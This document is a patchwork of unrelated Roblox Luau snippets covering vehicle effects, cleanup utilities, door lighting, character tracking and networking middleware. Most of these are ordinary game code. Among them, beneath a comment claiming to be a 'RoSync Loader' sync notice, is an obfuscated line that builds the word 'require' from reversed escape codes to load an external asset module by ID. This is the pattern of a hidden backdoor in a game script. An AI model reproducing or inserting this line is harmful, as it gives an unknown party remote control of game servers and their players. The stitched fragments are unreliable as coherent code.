Event.OnServerEvent:Connect(function(player,ExhaustParticle,FireBool) print("ExhaustParticle") if FireBool then local RanNum = tostring(math.random(1,3)) ExhaustPart2["Backfire"..RanNum]:Play() ExhaustPart2.PointLight.Enabled = true ExhaustPart2[ExhaustParticle].Enabled = true if ExhaustParticle == "FlamesSmall" then ExhaustPart2.PointLight.Range = 6 ExhaustPart2.PointLight.Brightness = 5 ExhaustPart2.Sparks.Enabled = false else ExhaustPart2.PointLight.Range = 8 ExhaustPart2.PointLight.Brightness = 12 ExhaustPart2.Sparks.Enabled = true end else ExhaustPart2[ExhaustParticle].Enabled = false ExhaustPart2.PointLight.Enabled = false end end)
-----<< TESTING >>----- --[[ player.Character.ChildAdded:Connect(function(obj) print("Added: " .. tostring(obj)) end) player.Character.ChildRemoved:Connect(function(obj) print("Removed: " .. tostring(obj)) end) for i, v in pairs(player.Character:GetChildren()) do v.ChildAdded:Connect(function(obj) print("Added: " .. tostring(obj)) end) v.ChildRemoved:Connect(function(obj) print("Removed: " .. tostring(obj)) end) end --]]
--- Add a task to clean up -- @usage -- Maid[key] = (function) Adds a task to perform -- Maid[key] = (event connection) Manages an event connection -- Maid[key] = (Maid) Maids can act as an event connection, allowing a Maid to have other maids to clean up. -- Maid[key] = (Object) Maids can cleanup objects with a `Destroy` method -- Maid[key] = nil Removes a named task. If the task is an event, it is disconnected. If it is an object, -- it is destroyed.
function Maid:__newindex(index, newTask) if (Maid[index] ~= nil) then error(("'%s' is reserved"):format(tostring(index)), 2) end local tasks = self._tasks local oldTask = tasks[index] tasks[index] = newTask if (oldTask) then if (type(oldTask) == "function") then oldTask() elseif (typeof(oldTask) == "RBXScriptConnection") then oldTask:Disconnect() elseif (oldTask.Destroy) then oldTask:Destroy() end end end
--Left lean Multiplier
R6LeftLegLeftLeanM = 2.2 R6RightLegLeftLeanM = 1 R6LeftArmLeftLeanM = 1 R6RightArmLeftLeanM = 2 R6TorsoLeftLeanM = 1
-- UI elements
local dlg = script.Parent local ResultString = dlg:FindFirstChild("ResultString") local ResultTime = dlg:FindFirstChild("ResultTime") local ExitButton = dlg:FindFirstChild("ExitButton") local DISPLAY_DURATION = 3
--!strict
local LuauPolyfill = script.Parent.Parent local types = require(LuauPolyfill.types) type Array<T> = types.Array<T> local map = require(script.Parent.map) return function<T>(arr: Array<T>, separator: string?): string if #arr == 0 then return "" end -- JS does tostring conversion implicitely but in Lua we need to do that explicitely local stringifiedArray = map(arr, function(item) return tostring(item) end) return table.concat(stringifiedArray, separator or ",") end
--// # key, Traffic Director
mouse.KeyDown:connect(function(key) if key=="k" then veh.Lightbar.middle.Beep:Play() veh.Lightbar.Remotes.TDEvent:FireServer(true) end end)
---------------------------------------------------
Displays = 3 -- Sets how many displays this scripts will use... DisplayColor = Color3.fromRGB(255, 0, 0)
-- функция слежения, будет исполняться когда будет добавлен новый элемент
function Sledim(param) local txt = tostring(param.Value) local tmp = frame:Clone() tmp.TextLabel.Text = txt tmp.Parent = sf -- отсюда начнётся магия Debris:AddItem(tmp,MyTimer) -- самоуничтожение через указанное время Debris:AddItem(param,MyTimer) -- оригинал с сообщением тоже прикончим local tween = TweenService:Create(tmp, tweenInfo, result) -- сжимаем local tween2 = TweenService:Create(tmp.TextLabel, tweenInfo, result2) -- исчезаем tween:Play() tween2:Play() end incoming.ChildAdded:Connect(Sledim) -- реагировать на новый элемент
--------LEFT DOOR --------
game.Workspace.doorleft.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l22.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l31.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l43.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l52.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l61.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l73.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
-- Changes the body orientiation to make it face a given direction. Returns the computed angles
function OrientableBody:face(direction: Vector3): Vector2? local humanoid: Humanoid? = self.character and self.character:FindFirstChild("Humanoid") if not humanoid or not humanoid.RootPart then return nil end direction = humanoid.RootPart.CFrame:PointToObjectSpace(humanoid.RootPart.Position + direction) local verticalAngle = math.asin(direction.Y) if verticalAngle < Constants.OFFSET_Y and verticalAngle > -Constants.OFFSET_Y then -- Vertical angle is within dead zone, do not change head orientation verticalAngle = 0 else if verticalAngle > 0 then verticalAngle = verticalAngle - Constants.OFFSET_Y else verticalAngle = verticalAngle + Constants.OFFSET_Y end end local horizontalAngle = math.atan2(-direction.X, -direction.Z) -- If looking behind the character, it will instead rotate towards the camera if horizontalAngle > math.pi / 2 then horizontalAngle = math.pi - horizontalAngle elseif horizontalAngle < -math.pi / 2 then horizontalAngle = -math.pi - horizontalAngle end self.motor:setGoal({ horizontalAngle = Otter.spring(horizontalAngle), verticalAngle = Otter.spring(verticalAngle), }) return Vector2.new(horizontalAngle, verticalAngle) end
------//Sprinting Animations
self.RightSprint = CFrame.new(-1, 1.1, -0.5) * CFrame.Angles(math.rad(-30), math.rad(0), math.rad(0)); self.LeftSprint = CFrame.new(1,1,-0.9) * CFrame.Angles(math.rad(-30),math.rad(35),math.rad(-25)); self.RightElbowSprint = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)); self.LeftElbowSprint = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)); self.RightWristSprint = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)); self.LeftWristSprint = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)); return self
--wait(10) --CloseDoor()
wait(999999) cooldown =false
--------RIGHT DOOR --------
game.Workspace.doorright.l11.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l32.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l41.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l53.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l62.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l71.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
--[[ [Horizontal and Vertical limits for head and body tracking.] [Setting to 0 negates tracking, setting to 1 is normal tracking, and setting to anything higher than 1 goes past real life head/body rotation capabilities.] --]]
local HeadHorFactor = 1 local HeadVertFactor = 1 local BodyHorFactor = 1 local BodyVertFactor = 1
--- Update the text entry label
function Window:UpdateLabel() Entry.TextLabel.Text = Player.Name .. "@" .. self.Cmdr.PlaceName .. "$" end
--[[ Last synced 12/1/2022 07:25 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)
--[[** ensures value matches given interface definition @param checkTable The interface definition @returns A function that will return true iff the condition is passed **--]]
function t.interface(checkTable) assert(checkInterface(checkTable)) return function(value) local tableSuccess = t.table(value) if tableSuccess == false then return false end for key, check in pairs(checkTable) do local success = check(value[key]) if success == false then return false end end return true end end
-- Helper functions
function angleBetweenPoints(p0, p1) local p = p0 - p1 return -math.atan2(p.z, p.x) end function getCameraAngle(camera) local cf, f = camera.CoordinateFrame, camera.Focus return angleBetweenPoints(cf.p, f.p) end
-- Buttons
Button.MouseClick:connect(function(Player) if (Hold == true) then return end Hold = true -- Get Avatar Avatar = Player.Character MorphPlayer(Avatar) Default() end)
-- for i = 1,#allButtons,1 do -- local object = allButtons[i]:FindFirstChild("Object") -- local dependency = allButtons[i]:FindFirstChild("Dependency") -- if object ~= nil and dependency ~= nil then -- if dependency.Value == unlockPurchases[u][1] then -- table.insert(ignore[u],object.Value) -- scanForDependenceis(ignore[u],object.Value) -- end -- end -- end
--[=[ @within ClientRemoteSignal @interface Connection .Disconnect () -> () ]=]
function ClientRemoteSignal.new( re: RemoteEvent, inboundMiddleware: Types.ClientMiddleware?, outboudMiddleware: Types.ClientMiddleware? ) local self = setmetatable({}, ClientRemoteSignal) self._re = re if outboudMiddleware and #outboudMiddleware > 0 then self._hasOutbound = true self._outbound = outboudMiddleware else self._hasOutbound = false end if inboundMiddleware and #inboundMiddleware > 0 then self._directConnect = false self._signal = Signal.new() self._reConn = self._re.OnClientEvent:Connect(function(...) local args = table.pack(...) for _, middlewareFunc in ipairs(inboundMiddleware) do local middlewareResult = table.pack(middlewareFunc(args)) if not middlewareResult[1] then return end args.n = #args end self._signal:Fire(table.unpack(args, 1, args.n)) end) else self._directConnect = true end return self end function ClientRemoteSignal:_processOutboundMiddleware(...: any) local args = table.pack(...) for _, middlewareFunc in ipairs(self._outbound) do local middlewareResult = table.pack(middlewareFunc(args)) if not middlewareResult[1] then return table.unpack(middlewareResult, 2, middlewareResult.n) end args.n = #args end return table.unpack(args, 1, args.n) end
--!strict
local observePlayer = require(script.Parent.observePlayer)